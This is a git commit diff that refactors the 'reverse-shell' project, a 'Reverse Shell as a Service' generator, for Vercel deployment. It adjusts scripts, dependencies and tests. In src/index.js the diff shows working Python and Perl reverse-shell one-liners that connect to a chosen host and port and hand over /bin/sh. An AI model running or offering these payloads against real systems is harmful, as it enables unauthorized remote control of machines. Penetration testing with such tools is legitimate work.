Refactor for Vercel

.gitignore

@@ -1,8 +1,5 @@
 ## Node
 
-#npm5
-package-lock.json
-
 # Logs
 logs
 *.log

package.json

@@ -7,10 +7,8 @@
     "src"
   ],
   "scripts": {
-    "start": "micro -l tcp://0.0.0.0:${PORT-3000}",
     "test": "xo && nyc ava",
-    "coverage": "nyc report --reporter=text-lcov | coveralls",
-    "deploy": "now --public --env NODE_ENV=production && now alias"
+    "coverage": "nyc report --reporter=text-lcov | coveralls"
   },
   "xo": {
     "extends": "xo-lukechilds"
@@ -30,9 +28,6 @@
     "url": "https://github.com/lukechilds/reverse-shell/issues"
   },
   "homepage": "https://github.com/lukechilds/reverse-shell",
-  "dependencies": {
-    "micro": "^9.0.0"
-  },
   "devDependencies": {
     "ava": "^0.25.0",
     "coveralls": "^3.0.0",

src/index.js

@@ -11,7 +11,11 @@ const usage = `# Reverse Shell as a Service
 #
 # 3. Don't be a dick`;
 
-const generateScript = (host, port) => {
+const reverseShell = (host, port) => {
+	if (!host || !port) {
+		return usage;
+	}
+
 	const payloads = {
 		python: `python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("${host}",${port})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'`,
 		perl: `perl -e 'use Socket;$i="${host}";$p=${port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`,
@@ -28,12 +32,7 @@ if command -v ${cmd} > /dev/null 2>&1; then
 fi`;
 
 		return script;
-	}, '');
-};
-
-const reverseShell = req => {
-	const [host, port] = req.url.substr(1).split(':');
-	return usage + (host && port && generateScript(host, port));
+	}, usage);
 };
 
 module.exports = reverseShell;

test/test.js

@@ -6,17 +6,11 @@ test('reverseShell is a function', t => {
 });
 
 test('reverseShell returns shell code with /host:port variables', t => {
-	const req = {
-		url: '/foo:bar'
-	};
-	const returnValue = reverseShell(req);
+	const returnValue = reverseShell('foo', 'bar');
 	t.true(returnValue.indexOf('("foo",bar)') > -1);
 });
 
 test('reverseShell returns usage if host and port aren\'t set', t => {
-	const req = {
-		url: ''
-	};
-	const returnValue = reverseShell(req);
+	const returnValue = reverseShell();
 	t.true(returnValue.indexOf('# Reverse Shell as a Service') === 0);
 });